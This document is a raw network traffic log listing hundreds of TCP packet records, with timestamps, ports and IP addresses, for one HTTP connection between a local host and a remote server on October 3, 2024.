Oct 3, 2024 05:02:59.241595984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241620064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241631031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241641045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241663933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241679907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241695881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241728067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241755962 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241765022 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241791010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241823912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241823912 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241823912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241847992 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241859913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241875887 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241894007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241910934 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241926908 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241946936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241960049 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.241975069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.241993904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242008924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242043972 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242127895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242161036 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242180109 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242192984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242207050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242225885 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242244005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242259979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242280006 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242302895 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242330074 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242363930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242379904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242391109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242419958 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242429018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242443085 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242461920 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242485046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242491961 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242515087 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242525101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242542982 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242558956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242571115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242592096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242624998 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242625952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242644072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242659092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242679119 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242693901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242702961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242727041 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242747068 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242759943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242794037 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242794991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242814064 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242829084 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242849112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242861032 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242882013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242897987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242909908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242925882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.242949963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.242971897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.243757963 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.243824959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.243829012 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.243863106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.243889093 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.243906021 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.243982077 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244014978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244034052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244061947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244064093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244097948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244116068 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244132042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244149923 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244164944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244180918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244199038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244215012 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244272947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244281054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244316101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244422913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244431019 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244472027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244476080 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244528055 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244560003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244565964 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244587898 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244591951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244609118 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244621992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244656086 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244663954 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244682074 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244689941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244703054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244724035 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244745970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244755983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244769096 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244807005 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244883060 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244944096 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.244947910 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.244982958 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.245002031 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.245032072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.245034933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.245085001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.245085001 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.245119095 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.245136023 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.245168924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.245168924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.245203018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.245222092 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.245234966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.245250940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.245268106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.245311022 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.245317936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.245332003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.245335102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.245349884 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.245367050 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.245368004 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.245382071 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.245388031 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.245407104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.245429993 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332088947 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332134008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332189083 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332190990 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332189083 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332226992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332238913 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332261086 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332277060 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332293987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332319021 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332326889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332344055 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332376003 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332379103 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332412958 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332427979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332446098 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332458973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332478046 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332492113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332511902 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332524061 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332556963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332562923 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332597017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332609892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332629919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332653046 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332667112 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332673073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332717896 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332741022 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332751989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332773924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332794905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332809925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332845926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332849026 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332880020 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332897902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332911015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332946062 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332978964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.332983017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.332983017 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333012104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333019972 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333040953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333046913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333060980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333093882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333121061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333154917 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333165884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333189011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333200932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333236933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333241940 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333273888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333282948 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333303928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333333969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333336115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333357096 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333369017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333379984 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333400965 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333415985 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333434105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333445072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333467960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333481073 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333502054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333518028 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333534002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333548069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333568096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333585978 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333600998 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333611965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333646059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333717108 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333750010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333769083 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333784103 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333796978 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333817959 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333837986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333849907 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333856106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333882093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333900928 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333915949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333939075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333946943 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333956957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.333981037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.333993912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334012985 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334036112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334047079 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334059000 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334079981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334094048 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334112883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334125996 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334157944 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334290981 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334323883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334356070 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334388018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334419966 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334441900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334451914 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334475994 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334485054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334512949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334522009 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334531069 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334544897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334556103 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334578037 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334606886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334610939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334623098 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334645033 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334677935 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334693909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334711075 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334727049 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334748983 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334760904 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334786892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.334805965 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334839106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.334968090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335000992 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335015059 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335032940 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335046053 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335067034 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335078001 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335099936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335110903 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335133076 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335144043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335160971 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335176945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335192919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335206032 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335227013 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335237980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335273981 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335290909 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335330963 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335335016 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335362911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335374117 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335402966 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335417986 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335449934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335465908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335481882 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.335498095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.335530043 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336247921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336306095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336389065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336419106 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336440086 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336452007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336464882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336486101 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336502075 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336519003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336534977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336551905 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336566925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336585045 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336600065 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336617947 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336635113 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336651087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336663961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:59.336685896 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:59.336699963 CEST	49705	80	192.168.2.5	172.67.159.45
